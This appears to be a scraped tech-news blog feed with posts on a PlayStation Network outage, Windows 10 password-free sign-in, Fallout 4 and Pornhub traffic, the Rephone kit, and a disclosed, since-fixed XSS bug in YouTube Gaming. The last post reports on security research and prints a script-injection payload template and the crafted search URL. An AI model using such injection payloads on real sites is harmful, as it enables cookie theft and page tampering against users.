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<a class="_p" href="https://draft.blogger.com/null" role="button" style="color: #3b5998; cursor: pointer; display: block;"><i aria-label="Menu" class="img sp_lXEh7hS17J1 sx_098046" data-hover="tooltip" style="background-image: url("/rsrc.php/v2/yy/r/2YcW1tKJWNL.png"); background-position: -34px -154px; background-repeat: no-repeat; background-size: auto; display: inline-block; height: 16px; width: 16px;"></i></a></div>
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<a class=" UFICommentActorName" data-hovercard="/ajax/hovercard/hovercard.php?id=542464137&extragetparams=%7B%22hc_location%22%3A%22ufi%22%7D" dir="ltr" href="https://www.facebook.com/profile.php?id=542464137" style="color: #3b5998; cursor: pointer; font-weight: bold; text-decoration: none;" target="_blank">Łukasz Kozieł</a> · <div class="_4q1v" style="color: #9197a3; display: inline;">
<a href="https://www.facebook.com/pages/University-of-Economics-in-Katowice/105685229464645" style="color: #9197a3; cursor: pointer; text-decoration: none;" target="_blank">University of Economics in Katowice</a></div>
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<span class="_5mdd" style="word-wrap: break-word;">Anyone has any idea what is going on? I cannot log in to PSN on PS4. Keep having WS-37397-9 error. Same thing happens on PC when I try to enter psn store website or Playstation app on mobile. PS3 doesnt work either (80710016 error). I seems like BAN on ISP IP because my neighbour (same ISP) cannot log in either. Yesterday it worked for about 15min but network status didn't verified NAT. Since then it's fucked. ISP says it's not their fault. PS support says to rebuilt database which I already did and no effect.I changed mac, changed DNS, restarted router, opened ports and still nothing. DDOS from my town or what? Anyone has any clue?</span></div>
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<span style="background-color: white; color: #333333; font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 16px; line-height: 24px;">The outage tracking website, Outage Report shows massive disruptions in network in United States and Europe.</span></div>
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<img alt="PSN Down" src="http://www.techworm.net/wp-content/uploads/2016/01/PSN-down.png" /></div>
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Surprisingly Playstation's own status tracking website, <a data-mce-href="https://status.playstation.com/en-us/" href="https://status.playstation.com/en-us/" target="_blank">status.playstation.com/en-us/</a> shows that all services are up and running. This may one of the reasons the PlayStation users are pissed at Sony as seen from the tweets.</div>
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<span style="background-color: white; color: #333333; font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 16px; line-height: 24px;">Another outage tracking website, Down Detector showed similar status about PSN being down.</span></div>
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<img alt="PSN Down" src="http://www.techworm.net/wp-content/uploads/2016/01/PSn-down-2.png" /></div>
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<span style="background-color: white; color: #333333; font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 16px; line-height: 24px;">The reason for this first major outage of 2016 is not known as of yet. We are reaching out to Sony and PSN to clarify the status of the network and will keep the post updated.</span></div>
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<span style="color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif;"><span style="background-color: white; line-height: 24px;">Resource :<a href="http://www.techworm.net/2016/01/playstation-network-down-in-the-first-outage-of-2016.html" target="_blank"> Techworm.</a></span></span></div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com1tag:blogger.com,1999:blog-1778979857251896130.post-23477173456844072172015-12-15T22:01:00.002+05:302015-12-15T22:01:37.229+05:30How To Log In Windows 10 Without A Password<div dir="ltr" style="text-align: left;" trbidi="on">
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Windows 10 now offers several other options for those who do not like to type a complex password every time you log into your PC.</div>
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To protect access to our accounts, we follow the good practice of using the best password to keep it safe. However, the the best passwords that tend to be long and strong are prone to error during input and also very time-consuming.</div>
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Therefore, the new operating system, Windows 10 has come up with ways that a user can login into a PC without typing in a password. These alternative login methods include PIN, Picture Passwords, and "Windows Hello," which lets you log in biometrically via fingerprint or facial recognition, on the condition that your PC has hardware that supports these options.</div>
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While you still would need a password in spite of these alternative login methods, however, these would save you the problem of regularly typing it making logging more quick and convenient. Read on for more information about how and when you can use them.</div>
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<b>Password Login Alternatives in Windows 10</b></div>
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PIN and Picture Password can be used on almost any Windows 10 PC unlike the biometric authentication options provided by Windows Hello. Either of these login methods can be enabled by going to Settings > Accounts > Sign-in options. Then click the Add button under the appropriate option.</div>
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<b>1. PIN</b></h3>
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If you choose to add a PIN, Windows 10 will first ask you to enter your password, then to specify and confirm your PIN. PINs must be minimum four digits long, but they can also have six, eight, or more digits.</div>
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<b>Login to Windows 10 using a PIN (consisting of at least four digits).</b></h3>
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After you create your PIN, the next time you log in, Windows 10 will automatically prompt you for it rather than your password. The minute you type the last digit of the PIN, you will get access to the PC. You need not press Enter at the end, like in the case of a password.</div>
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<img alt="Ways to log in Windows 10 without a password" class="aligncenter" data-mce-src="http://www.zerodollartips.com/wp-content/uploads/2014/11/how-to-create-4-digit-pin-logon-in-windows-10.png" height="352" src="http://www.zerodollartips.com/wp-content/uploads/2014/11/how-to-create-4-digit-pin-logon-in-windows-10.png" style="display: block; height: auto; margin-left: auto; margin-right: auto; max-width: 100%;" title="Ways to log in Windows 10 without a password" width="634" /></div>
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Please note that if you do not see any response to your keystrokes while using a keyboard's numeric keypad to enter the PIN, do check the status of the Num Lock key.</div>
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Further, an incorrect PIN is entered four times, you would be required to type in a challenge phrase to protect against a potential brute force attack (i.e. making attempts to get access by providing all possible number combinations one after the another).</div>
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You can use the Sign-in options link below the PIN box and click/tap the Key button, if you wish to switch back to logging into Windows 10 with a password.</div>
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<b>2. Picture Password</b></h3>
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After confirming your alphanumeric password, if you choose to create a Picture password, you will be provided the option to choose a picture from among the images saved on your PC. You will then be asked to draw and then re-draw for confirmation - three different gestures on the picture.</div>
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These gestures can consist of straight lines, circles, or taps, which can be drawn with either a finger or a mouse. However, direction, size, and position of the gestures, as well as the order in which you draw them are all recorded.</div>
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<b>Login by creating three gestures on your chosen image with Picture password</b></h3>
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The end result is that when you log in later, it may take numerous attempts to get Windows 10 to accept your mouse-based gestures as precise. It's likely best to use Picture password only on devices with touchscreens for favorable results.</div>
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<img alt="Ways to log in Windows 10 without a password" class="aligncenter" data-mce-src="http://4dm7pi3anfms2bn7sk7u16h1.wpengine.netdna-cdn.com/wp-content/uploads/2015/04/tutorial44-passscreen-640x360.png" height="360" src="http://4dm7pi3anfms2bn7sk7u16h1.wpengine.netdna-cdn.com/wp-content/uploads/2015/04/tutorial44-passscreen-640x360.png" style="display: block; height: auto; margin-left: auto; margin-right: auto; max-width: 100%;" title="Ways to log in Windows 10 without a password" width="640" /></div>
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If you are using Picture password as with the PIN option, and want to go back to conventional password validation (or to PIN if you've already set that up as well), you can access it via the Sign-in options link.</div>
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<b>Say Goodbye To Passwords And Welcome Windows Hello</b></h3>
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These options will be in the same place as the PIN and Picture password, if you have the hardware to support Windows Hello biometric login. However, you will to create a PIN before you can use a biometric login option, if you have not created one .</div>
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<b>3. Fingerprint Scan</b></h3>
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For many years, mostly on business based models, integrated fingerprint scanners have been available, as they at all times need (mostly complex and temperamental) third-party utilities to work with Windows.</div>
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However, Windows 10 now includes native support for fingerprint scanning provided that your laptop has hardware that supports this option. If the laptop is upgraded from an earlier version of Windows to Windows 10 and you are not able see the Windows Hello option, in that case, you may have to uninstall the fingerprint scanner's original software and drivers to make it work properly with Windows 10.</div>
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<b>No third-party utilities are required, as Windows 10 supports fingerprint recognition</b></h3>
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If you wish to add fingerprint login without an integrated scanner to a Windows 10 laptop or for that matter a desktop, then you can do so by using inexpensive USB-based scanners.</div>
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After setting up Fingerprint log in, a wizard will prompt you to swipe a particular finger constantly so that Windows will recognize it. It also does provide the option to set up multiple fingers.</div>
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<b>4. Facial Recognition</b></h3>
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This validation method requires a PC equipped with a special 3D- and IR-capable camera. Currently, the only camera compatible with facial recognition in Windows 10 is an Intel RealSense device. However, this camera technology will probably become more common over time. So, it's worth keeping an eye upon.</div>
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<b>Other Alternative Login Considerations For Windows 10</b></h3>
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The fingerprint and facial authentication, provided you have the necessary hardwares should be available using stand-alone Microsoft or Local user accounts on a non-domain Windows 10 PC. You may not be able to use fingerprint/facial login, if you are part of a domain. Therefore, the network admin needs to enable for you to use it.</div>
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Finally, ensure that you remember your password and store it in a safe place, as you may tend to forget your password due to irregular typing. The traditional password is the only way to login, if you ever need to start your PC in Safe Mode.</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com1tag:blogger.com,1999:blog-1778979857251896130.post-85495900920325729152015-12-15T21:58:00.005+05:302015-12-15T21:58:46.090+05:30Pornhub's gaming audience dropped by 4 % the day 'Games are better than porn! Pornhub's gaming audience drops the day 'Fallout 4' is releasedFallout 4' was released<div dir="ltr" style="text-align: left;" trbidi="on">
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It seems Fallout 4 has an affect on everything, even porn. The most anticipated game of 2015 has already created sales records. According to reports, Bethesda, the game publisher has already over 12 million copies shipped between all three platforms, and more than 400,000 people playing concurrently on Steam, breaking the record previously set by <i>Grand Theft Auto V</i>. However the least mentioned casualty of Fallout 4 seems to be porn and popular adult content website, Pornhub.</div>
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PornHub announced <a data-mce-href="http://www.pornhub.com/insights/fallout-4-release-traffic" href="http://www.pornhub.com/insights/fallout-4-release-traffic">a 10% drop in traffic</a> last week among videogame fans the day <em>Fallout 4</em> was released. Using anonymous user affinity profiles from analytics, the site saw the biggest drop between 6AM and Noon, and then again between 6PM and 10PM, hours, the time when Pornhub gets majority of its visitors.</div>
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“We can’t say we’re too surprised with what happened to our traffic during peak gaming hours,” Pornhub VP Corey Price told GamesBeat. “Based on the data, it looks like a huge surge of people decided to indulge in some wasteland wandering by taking the day off of work and school to play, while the rest of the world had to wade through what we assume were the longest hours of work ever in anticipation of some alone time with their consoles.”</div>
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Pornhub is among the top 100 most popular websites on the Internet, according to Amazon-owned analytics firm Alexa Internet, so a 10-percent drop from a million plus daily visitors is nothing alarming. Pornhub, for its part, doesn’t seem to have any hard feelings about the loss.</div>
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<img alt="Games are better than porn! Pornhub's gaming audience drops the day 'Fallout 4' is released" class="aligncenter" data-mce-src="http://l.yimg.com/bt/api/res/1.2/WZ3ozlwRn_HjruRvwMPxJg--/YXBwaWQ9eW5ld3NfbGVnbztxPTg1/http://media.zenfs.com/en-US/homerun/digital_trends_973/aa661e7454cb32d0027115d6548ca548" height="525" src="http://l.yimg.com/bt/api/res/1.2/WZ3ozlwRn_HjruRvwMPxJg--/YXBwaWQ9eW5ld3NfbGVnbztxPTg1/http://media.zenfs.com/en-US/homerun/digital_trends_973/aa661e7454cb32d0027115d6548ca548" style="display: block; height: auto; margin-left: auto; margin-right: auto; max-width: 100%;" title="Games are better than porn! Pornhub's gaming audience drops the day 'Fallout 4' is released" width="640" /></div>
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“As huge fans of the game, we can’t say we blame anyone for swapping Pornhub time for some Pip-Boy surfing instead,” said Price. “We would have done the same.”</div>
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Porn, however, continues to retain its stranglehold over Internet. A report from <em>ExtremeTech </em>estimates as much as <a data-mce-href="http://www.extremetech.com/computing/123929-just-how-big-are-porn-sites/2" href="http://www.extremetech.com/computing/123929-just-how-big-are-porn-sites/2" target="_blank">30% of the data transferred over the Internet in any given day is porn</a>. </div>
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MindGeek, owner of eight of the 10 biggest porn sites, occupies more bandwidth than Amazon, Twitter, or Facebook, according to <em>Slate. </em>A 2009 study at University of Montreal of men in their 20s who’d never seen porn ended when researchers couldn’t find any men in their 20s who hadn’t watched at least some porn.</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-8898923034995479972015-11-08T21:46:00.002+05:302015-11-08T21:46:52.272+05:30How To Log In Windows 10 Without A Password<div dir="ltr" style="text-align: left;" trbidi="on">
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Windows 10 now offers several other options for those who do not like to type a complex password every time you log into your PC.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUVIC9bSTB21v2XBAh8XUx-yTrb0xjOaRPX7mesh_bVRnGcYckmYbK14eMJbJDl4Um3lOLIGTUr8ueS_2IkZl1HNIUP9ETQAgIrYGKEq5jQgLzMw6FXRqaN3ukmy4SXm17TGpAIWMdiMan/s1600/win+login.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Windows 10 now offers several other options for those who do not like to type a complex password every time you log into your PC. To protect access to our accounts, we follow the good practice of using the best password to keep it safe. However, the the best passwords that tend to be long and strong are prone to error during input and also very time-consuming. Therefore, the new operating system, Windows 10 has come up with ways that a user can login into a PC without typing in a password. These alternative login methods include PIN, Picture Passwords, and "Windows Hello," which lets you log in biometrically via fingerprint or facial recognition, on the condition that your PC has hardware that supports these options. While you still would need a password in spite of these alternative login methods, however, these would save you the problem of regularly typing it making logging more quick and convenient. Read on for more information about how and when you can use them. Password Login Alternatives in Windows 10 PIN and Picture Password can be used on almost any Windows 10 PC unlike the biometric authentication options provided by Windows Hello. Either of these login methods can be enabled by going to Settings > Accounts > Sign-in options. Then click the Add button under the appropriate option. 1. PIN If you choose to add a PIN, Windows 10 will first ask you to enter your password, then to specify and confirm your PIN. PINs must be minimum four digits long, but they can also have six, eight, or more digits. Login to Windows 10 using a PIN (consisting of at least four digits). After you create your PIN, the next time you log in, Windows 10 will automatically prompt you for it rather than your password. The minute you type the last digit of the PIN, you will get access to the PC. You need not press Enter at the end, like in the case of a password. Ways to log in Windows 10 without a password Please note that if you do not see any response to your keystrokes while using a keyboard's numeric keypad to enter the PIN, do check the status of the Num Lock key. Further, an incorrect PIN is entered four times, you would be required to type in a challenge phrase to protect against a potential brute force attack (i.e. making attempts to get access by providing all possible number combinations one after the another). You can use the Sign-in options link below the PIN box and click/tap the Key button, if you wish to switch back to logging into Windows 10 with a password. 2. Picture Password After confirming your alphanumeric password, if you choose to create a Picture password, you will be provided the option to choose a picture from among the images saved on your PC. You will then be asked to draw and then re-draw for confirmation - three different gestures on the picture. These gestures can consist of straight lines, circles, or taps, which can be drawn with either a finger or a mouse. However, direction, size, and position of the gestures, as well as the order in which you draw them are all recorded. Login by creating three gestures on your chosen image with Picture password The end result is that when you log in later, it may take numerous attempts to get Windows 10 to accept your mouse-based gestures as precise. It's likely best to use Picture password only on devices with touchscreens for favorable results. Ways to log in Windows 10 without a password If you are using Picture password as with the PIN option, and want to go back to conventional password validation (or to PIN if you've already set that up as well), you can access it via the Sign-in options link. Say Goodbye To Passwords And Welcome Windows Hello These options will be in the same place as the PIN and Picture password, if you have the hardware to support Windows Hello biometric login. However, you will to create a PIN before you can use a biometric login option, if you have not created one . 3. Fingerprint Scan For many years, mostly on business based models, integrated fingerprint scanners have been available, as they at all times need (mostly complex and temperamental) third-party utilities to work with Windows. However, Windows 10 now includes native support for fingerprint scanning provided that your laptop has hardware that supports this option. If the laptop is upgraded from an earlier version of Windows to Windows 10 and you are not able see the Windows Hello option, in that case, you may have to uninstall the fingerprint scanner's original software and drivers to make it work properly with Windows 10. No third-party utilities are required, as Windows 10 supports fingerprint recognition If you wish to add fingerprint login without an integrated scanner to a Windows 10 laptop or for that matter a desktop, then you can do so by using inexpensive USB-based scanners. After setting up Fingerprint log in, a wizard will prompt you to swipe a particular finger constantly so that Windows will recognize it. It also does provide the option to set up multiple fingers. 4. Facial Recognition This validation method requires a PC equipped with a special 3D- and IR-capable camera. Currently, the only camera compatible with facial recognition in Windows 10 is an Intel RealSense device. However, this camera technology will probably become more common over time. So, it's worth keeping an eye upon. Other Alternative Login Considerations For Windows 10 The fingerprint and facial authentication, provided you have the necessary hardwares should be available using stand-alone Microsoft or Local user accounts on a non-domain Windows 10 PC. You may not be able to use fingerprint/facial login, if you are part of a domain. Therefore, the network admin needs to enable for you to use it. Finally, ensure that you remember your password and store it in a safe place, as you may tend to forget your password due to irregular typing. The traditional password is the only way to login, if you ever need to start your PC in Safe Mode." border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUVIC9bSTB21v2XBAh8XUx-yTrb0xjOaRPX7mesh_bVRnGcYckmYbK14eMJbJDl4Um3lOLIGTUr8ueS_2IkZl1HNIUP9ETQAgIrYGKEq5jQgLzMw6FXRqaN3ukmy4SXm17TGpAIWMdiMan/s320/win+login.jpg" title="Windows 10 now offers several other options for those who do not like to type a complex password every time you log into your PC. To protect access to our accounts, we follow the good practice of using the best password to keep it safe. However, the the best passwords that tend to be long and strong are prone to error during input and also very time-consuming. Therefore, the new operating system, Windows 10 has come up with ways that a user can login into a PC without typing in a password. These alternative login methods include PIN, Picture Passwords, and "Windows Hello," which lets you log in biometrically via fingerprint or facial recognition, on the condition that your PC has hardware that supports these options. While you still would need a password in spite of these alternative login methods, however, these would save you the problem of regularly typing it making logging more quick and convenient. Read on for more information about how and when you can use them. Password Login Alternatives in Windows 10 PIN and Picture Password can be used on almost any Windows 10 PC unlike the biometric authentication options provided by Windows Hello. Either of these login methods can be enabled by going to Settings > Accounts > Sign-in options. Then click the Add button under the appropriate option. 1. PIN If you choose to add a PIN, Windows 10 will first ask you to enter your password, then to specify and confirm your PIN. PINs must be minimum four digits long, but they can also have six, eight, or more digits. Login to Windows 10 using a PIN (consisting of at least four digits). After you create your PIN, the next time you log in, Windows 10 will automatically prompt you for it rather than your password. The minute you type the last digit of the PIN, you will get access to the PC. You need not press Enter at the end, like in the case of a password. Ways to log in Windows 10 without a password Please note that if you do not see any response to your keystrokes while using a keyboard's numeric keypad to enter the PIN, do check the status of the Num Lock key. Further, an incorrect PIN is entered four times, you would be required to type in a challenge phrase to protect against a potential brute force attack (i.e. making attempts to get access by providing all possible number combinations one after the another). You can use the Sign-in options link below the PIN box and click/tap the Key button, if you wish to switch back to logging into Windows 10 with a password. 2. Picture Password After confirming your alphanumeric password, if you choose to create a Picture password, you will be provided the option to choose a picture from among the images saved on your PC. You will then be asked to draw and then re-draw for confirmation - three different gestures on the picture. These gestures can consist of straight lines, circles, or taps, which can be drawn with either a finger or a mouse. However, direction, size, and position of the gestures, as well as the order in which you draw them are all recorded. Login by creating three gestures on your chosen image with Picture password The end result is that when you log in later, it may take numerous attempts to get Windows 10 to accept your mouse-based gestures as precise. It's likely best to use Picture password only on devices with touchscreens for favorable results. Ways to log in Windows 10 without a password If you are using Picture password as with the PIN option, and want to go back to conventional password validation (or to PIN if you've already set that up as well), you can access it via the Sign-in options link. Say Goodbye To Passwords And Welcome Windows Hello These options will be in the same place as the PIN and Picture password, if you have the hardware to support Windows Hello biometric login. However, you will to create a PIN before you can use a biometric login option, if you have not created one . 3. Fingerprint Scan For many years, mostly on business based models, integrated fingerprint scanners have been available, as they at all times need (mostly complex and temperamental) third-party utilities to work with Windows. However, Windows 10 now includes native support for fingerprint scanning provided that your laptop has hardware that supports this option. If the laptop is upgraded from an earlier version of Windows to Windows 10 and you are not able see the Windows Hello option, in that case, you may have to uninstall the fingerprint scanner's original software and drivers to make it work properly with Windows 10. No third-party utilities are required, as Windows 10 supports fingerprint recognition If you wish to add fingerprint login without an integrated scanner to a Windows 10 laptop or for that matter a desktop, then you can do so by using inexpensive USB-based scanners. After setting up Fingerprint log in, a wizard will prompt you to swipe a particular finger constantly so that Windows will recognize it. It also does provide the option to set up multiple fingers. 4. Facial Recognition This validation method requires a PC equipped with a special 3D- and IR-capable camera. Currently, the only camera compatible with facial recognition in Windows 10 is an Intel RealSense device. However, this camera technology will probably become more common over time. So, it's worth keeping an eye upon. Other Alternative Login Considerations For Windows 10 The fingerprint and facial authentication, provided you have the necessary hardwares should be available using stand-alone Microsoft or Local user accounts on a non-domain Windows 10 PC. You may not be able to use fingerprint/facial login, if you are part of a domain. Therefore, the network admin needs to enable for you to use it. Finally, ensure that you remember your password and store it in a safe place, as you may tend to forget your password due to irregular typing. The traditional password is the only way to login, if you ever need to start your PC in Safe Mode." width="320" /></a></div>
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To protect access to our accounts, we follow the good practice of using the best password to keep it safe. However, the the best passwords that tend to be long and strong are prone to error during input and also very time-consuming.</div>
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<div style="color: #333333; font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 16px; line-height: 24px;">
Therefore, the new operating system, Windows 10 has come up with ways that a user can login into a PC without typing in a password. These alternative login methods include PIN, Picture Passwords, and "Windows Hello," which lets you log in biometrically via fingerprint or facial recognition, on the condition that your PC has hardware that supports these options.</div>
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While you still would need a password in spite of these alternative login methods, however, these would save you the problem of regularly typing it making logging more quick and convenient. Read on for more information about how and when you can use them.</div>
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<b>Password Login Alternatives in Windows 10</b></div>
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PIN and Picture Password can be used on almost any Windows 10 PC unlike the biometric authentication options provided by Windows Hello. Either of these login methods can be enabled by going to Settings > Accounts > Sign-in options. Then click the Add button under the appropriate option.</div>
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<b>1. PIN</b></h3>
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If you choose to add a PIN, Windows 10 will first ask you to enter your password, then to specify and confirm your PIN. PINs must be minimum four digits long, but they can also have six, eight, or more digits.</div>
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<b>Login to Windows 10 using a PIN (consisting of at least four digits).</b></h3>
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After you create your PIN, the next time you log in, Windows 10 will automatically prompt you for it rather than your password. The minute you type the last digit of the PIN, you will get access to the PC. You need not press Enter at the end, like in the case of a password.</div>
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<img alt="Ways to log in Windows 10 without a password" class="aligncenter" data-mce-src="http://www.zerodollartips.com/wp-content/uploads/2014/11/how-to-create-4-digit-pin-logon-in-windows-10.png" height="352" src="http://www.zerodollartips.com/wp-content/uploads/2014/11/how-to-create-4-digit-pin-logon-in-windows-10.png" style="display: block; height: auto; margin-left: auto; margin-right: auto; max-width: 100%;" title="Ways to log in Windows 10 without a password" width="634" /></div>
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Please note that if you do not see any response to your keystrokes while using a keyboard's numeric keypad to enter the PIN, do check the status of the Num Lock key.</div>
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Further, an incorrect PIN is entered four times, you would be required to type in a challenge phrase to protect against a potential brute force attack (i.e. making attempts to get access by providing all possible number combinations one after the another).</div>
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You can use the Sign-in options link below the PIN box and click/tap the Key button, if you wish to switch back to logging into Windows 10 with a password.</div>
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<b>2. Picture Password</b></h3>
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After confirming your alphanumeric password, if you choose to create a Picture password, you will be provided the option to choose a picture from among the images saved on your PC. You will then be asked to draw and then re-draw for confirmation - three different gestures on the picture.</div>
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These gestures can consist of straight lines, circles, or taps, which can be drawn with either a finger or a mouse. However, direction, size, and position of the gestures, as well as the order in which you draw them are all recorded.</div>
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<b>Login by creating three gestures on your chosen image with Picture password</b></h3>
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The end result is that when you log in later, it may take numerous attempts to get Windows 10 to accept your mouse-based gestures as precise. It's likely best to use Picture password only on devices with touchscreens for favorable results.</div>
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<img alt="Ways to log in Windows 10 without a password" class="aligncenter" data-mce-src="http://4dm7pi3anfms2bn7sk7u16h1.wpengine.netdna-cdn.com/wp-content/uploads/2015/04/tutorial44-passscreen-640x360.png" height="360" src="http://4dm7pi3anfms2bn7sk7u16h1.wpengine.netdna-cdn.com/wp-content/uploads/2015/04/tutorial44-passscreen-640x360.png" style="display: block; height: auto; margin-left: auto; margin-right: auto; max-width: 100%;" title="Ways to log in Windows 10 without a password" width="640" /></div>
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If you are using Picture password as with the PIN option, and want to go back to conventional password validation (or to PIN if you've already set that up as well), you can access it via the Sign-in options link.</div>
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<b>Say Goodbye To Passwords And Welcome Windows Hello</b></h3>
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These options will be in the same place as the PIN and Picture password, if you have the hardware to support Windows Hello biometric login. However, you will to create a PIN before you can use a biometric login option, if you have not created one .</div>
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<b>3. Fingerprint Scan</b></h3>
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For many years, mostly on business based models, integrated fingerprint scanners have been available, as they at all times need (mostly complex and temperamental) third-party utilities to work with Windows.</div>
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However, Windows 10 now includes native support for fingerprint scanning provided that your laptop has hardware that supports this option. If the laptop is upgraded from an earlier version of Windows to Windows 10 and you are not able see the Windows Hello option, in that case, you may have to uninstall the fingerprint scanner's original software and drivers to make it work properly with Windows 10.</div>
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<b>No third-party utilities are required, as Windows 10 supports fingerprint recognition</b></h3>
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If you wish to add fingerprint login without an integrated scanner to a Windows 10 laptop or for that matter a desktop, then you can do so by using inexpensive USB-based scanners.</div>
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After setting up Fingerprint log in, a wizard will prompt you to swipe a particular finger constantly so that Windows will recognize it. It also does provide the option to set up multiple fingers.</div>
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<b>4. Facial Recognition</b></h3>
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This validation method requires a PC equipped with a special 3D- and IR-capable camera. Currently, the only camera compatible with facial recognition in Windows 10 is an Intel RealSense device. However, this camera technology will probably become more common over time. So, it's worth keeping an eye upon.</div>
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<b>Other Alternative Login Considerations For Windows 10</b></h3>
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The fingerprint and facial authentication, provided you have the necessary hardwares should be available using stand-alone Microsoft or Local user accounts on a non-domain Windows 10 PC. You may not be able to use fingerprint/facial login, if you are part of a domain. Therefore, the network admin needs to enable for you to use it.</div>
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Finally, ensure that you remember your password and store it in a safe place, as you may tend to forget your password due to irregular typing. The traditional password is the only way to login, if you ever need to start your PC in Safe Mode.</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com8tag:blogger.com,1999:blog-1778979857251896130.post-80063791079048920282015-11-08T21:42:00.003+05:302015-11-08T21:42:44.168+05:30Hack a cellular radio into anything using Rephone<div dir="ltr" style="text-align: left;" trbidi="on">
Rephone is a small project that is made up of a bunch of modules that allows you to assemble together your very own small cell phone. Displayed at the Maker Faire in New York, the least interesting thing about the Rephone kit is making it out of a cute little cardboard-encased phone.<br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiorK3cg-JHHZX_rYPjYQ3gP-d5kronihZ5vjuQSbAOjECTvfk1c8ndFnwCIa8o1Go0ih710KPPm5HiyzBSvKhGoWaj-5fiN1a537f22oRuDmaE8zIq4R0ewm6sMQgoxPgM-SV_J6Icil3h/s1600/rephone.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Hack a cellular radio into anything using Rephone" border="0" height="266" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiorK3cg-JHHZX_rYPjYQ3gP-d5kronihZ5vjuQSbAOjECTvfk1c8ndFnwCIa8o1Go0ih710KPPm5HiyzBSvKhGoWaj-5fiN1a537f22oRuDmaE8zIq4R0ewm6sMQgoxPgM-SV_J6Icil3h/s400/rephone.jpg" title="Hack a cellular radio into anything using Rephone" width="400" /></a></div>
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Seeed Studio, which is the group behind the project has made lot of modules and an SDK that allows you to build out almost any kind of cellular-based device that you can think of. They have fastened it to a kite to give you with real-time telemetry. They have put it around a dog collar so that you can call him to come home or use it to locate your dog. In addition, they have strapped it to a lamp, a door and even a table.<br />
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Launched on Kickstarter last week, the project has already gone past its small goal of $50,000. As Seeed already has lots of experience making these tiny modules, it might have prompted them to keep a modest goal. Based in Shenzhen, the company has "been providing open source modules to makers for almost 7 years," says Seeed's Eric Pan. Rephone's modules and SDK will also be open sourced.<br />
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The central part of the Rephone kit is a very small little module with Bluetooth Low Energy radios and GSM. While it requires a a nano-SIM card, Seeed may think of making something with 3G or LTE in a future version says Pan. However, you would not actually need it for the functions that you would mostly want to use Rephone for. "If you just want to unlock a door or turn on a lamp, 2G is good enough," says Pan. Plug in a prepaid SIM card that you can manage with sms or data.<br />
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However, if you want to go out there and make your own tiny phone, you can take the kit that has all the parts you need, including a tiny little touchscreen and a cardboard enclosure that you tie up with thread.<br />
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Some of the common Internet of Things programming options, which includes JavaScript, Arduino, and Lua are being built by Seeed. However, the best part about the programming is that since the Rephone kit also supports If This Then That, you can get started making your own device even if you're not a coder. It should comparatively provide a very simple web interface and a lot of other services that you can connect in to your tiny widget. "People think of the maker scene [as just] hobbyists," Pan says, "but we really hope that consumers can really get into making by putting together their own mobile phones."<br />
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The Kickstarter still has about a month left in its run. Based on how much you pay Seeed will be shipping out modules, of which some can be shipped as early as next month. With the way the project has shaped up, it is likely that there may not be too many delays with the project.</div>
Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-10712874563212938672015-11-08T21:33:00.000+05:302015-11-08T21:33:02.911+05:30Security Researcher Found an XSS Bug on YouTube Gaming in Two Minutes Flat<div dir="ltr" style="text-align: left;" trbidi="on">
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YouTube Gaming which Google launched in August, works as a separate section of the famous YouTube video sharing portal, where online gamers can stream their games, watch other people play live, or view game-related clips.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYXaZjuwn-PtM5HszAPjpWjjDuwfYtQxR0wNWBg1-_PLBBPWPcFzYeuSiRBSPcbS8Qv_WmMh_Xs6c9vqwqkXmPQM76XZcRiG7TCvzN65r6L8qzrXYbj0UdTVbuc8FfQz-eSxzegNemnEfo/s1600/youtube+gaming.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="YouTube Gaming XSS bug found by security researcher in two minutes" border="0" height="336" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYXaZjuwn-PtM5HszAPjpWjjDuwfYtQxR0wNWBg1-_PLBBPWPcFzYeuSiRBSPcbS8Qv_WmMh_Xs6c9vqwqkXmPQM76XZcRiG7TCvzN65r6L8qzrXYbj0UdTVbuc8FfQz-eSxzegNemnEfo/s640/youtube+gaming.jpg" title="YouTube Gaming XSS bug found by security researcher in two minutes" width="640" /></a></div>
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Security researcher Ashar Javed has uncovered a reflected XSS (Cross-Site Scripting) flaw in YouTube Gaming. Javed made<a data-mce-href="http://respectxss.blogspot.com/2015/10/xss-in-youtube-gaming.html" href="http://respectxss.blogspot.com/2015/10/xss-in-youtube-gaming.html" target="_blank"> blog post</a> to outline how he did it in two minutes flat.</div>
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Javed says that Google's devs have been doing their work with YouTube Gaming and escaped or converted dangerous characters like <strong>"</strong>, <strong>'</strong> and <strong><</strong>, so attackers won't be able to use them. However, Javed found out that they forgot to protect the < / combo. The problem is that the <strong>< /</strong> combo is not protected, and this allowed the researcher to use a simple exploit in the form of:</div>
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<i class="fa fa-code"></i>CODE</div>
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< /script>< script >MALICIOUS CODE< /script></div>
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which he appended at the end of a simple YouTube Gaming query, like this:</div>
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<i class="fa fa-code"></i>CODE</div>
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https://gaming.youtube.com/results?search_query=< /script>< script >MALICIOUS CODE< /script></div>
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Using this entry point, hackers could have triggered reflected XSS attacks, which would have allowed them to steal cookies or alter the page's content if they had tricked users into clicking malformed links that contained the malicious code.</div>
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Google acknowledged the flaw pointed out Javed and awarded him a bug bounty of $3,133.7 / €2,847.</div>
